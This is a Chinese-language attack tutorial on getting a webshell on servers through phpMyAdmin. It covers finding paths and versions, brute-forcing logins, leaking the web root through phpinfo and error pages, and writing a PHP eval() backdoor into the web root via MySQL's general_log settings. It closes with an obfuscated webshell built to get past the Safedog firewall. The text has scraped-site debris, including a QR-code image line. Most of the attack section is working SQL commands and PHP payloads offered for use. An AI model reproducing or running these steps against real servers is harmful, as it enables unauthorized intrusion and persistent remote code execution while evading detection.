生活就是泥沙俱下,鲜花和荆棘并存。——毕淑敏
1、明确目标
2、信息收集
3、漏洞挖掘和利用
信息收集
明确路径
利用目录扫描工具,对目标网站进行扫描,获取网站目录。常用工具有Kali中的DirBuster、dirb和wwwscan等。
我用的是Kali中的DirBuster,对目标进行扫描。
明确版本
利用内置的文件,(…../phpMyAdmin/README)获取phpMyAdmin的版本信息。
一般网站管理员不会把这个目录删除,所以可以成为我们利用的一个点。
明确登录口令
有两种方法,手工和暴力破解。手工就是用一些弱口令进行猜解。
暴力破解可以用phpMyAdmin多线程批量破解工具来对phpMyAdmin进行暴力破解。
但是工具只是给我们提供参考的,而且工具爆破对phpMyAdmin的版本有一定的要求。
明确系统类型
因为系统版本的不同,对权限的控制是不同的。Linux系统对权限的控制相对严格,而window则相对较为疏散的。所以说对window进行getshell相比Linux要容易。
明确php版本和数据库版本
可以在phpMyAdmin的管理也可以看到php版本、MySQL版本,系统类型。
因为php版本的差异,对渗透的利用是不一样的。
获取网站真实路径
phpinfo()函数直接获取
通过phpinfo.php或者phpinfo()进行获取网站真实路径。
php 大专栏 getshell技巧-phpMyAdmin的利用info.php中会有大量的信息,有php版本、网站路径等。
构造报错页面获取网站真实路径
通过构造报错可能会报出网站的真实路径。常见的有页面访问报错、sql注入报错,文件包含报错。
phpmyadmin报错常见路径:
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpMyAdmin/themes/darkblue_orange/layout.inc.php
/phpMyAdmin/libraries/select_lang.lib.php
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/libraries/mcrypt.lib.php
借助搜索引擎
借助搜索引擎,例如:百度、谷歌、fofa、shadon、zoomeye等,搜索关键字“error”,可能会报出网站的真实路径。
漏洞挖掘和利用
满足写shell的前提条件
SHOW VARIABLES LIKE “%secure_file_priv%”; 查看读写文件路径 “secure_file_priv”对应的值不能为null,为null就不能正常写入shell。
![](/qrcode.jpg)
日志写shell
首先需要检测MySQL全局变量(general_log、general_log_file)的值。
general_log是日志保存状态,一共有两个值(ON/OFF),ON代表开启,OFF代表关闭。
general_log_file是日志的保存路径
1、开启日志保存
set global general_log=”ON”;
set global general_log_file=”D:/phpStudy/WWW/infos.php”(网站真实路径)
2、写shell
select ‘<?php eval($_POST[yumu)];?>’
免杀(绕过安全狗)
$arr = array(‘a’,’s’,’s’,’s’,’e’,’r’,’t’);
$func = “”;
for($i=0;$i<count($arr);$i++){
$func = $func.$arr[$i];
}
$func = substr($func,-6);
$func($_REQUEST[‘c’]);
#总结
在利用phpMyAdmin来getshell时,需要注意对网站信息的收集,特别是网站的PHP版本、网站真实路径。这样才能更好的对网站就行漏洞挖掘。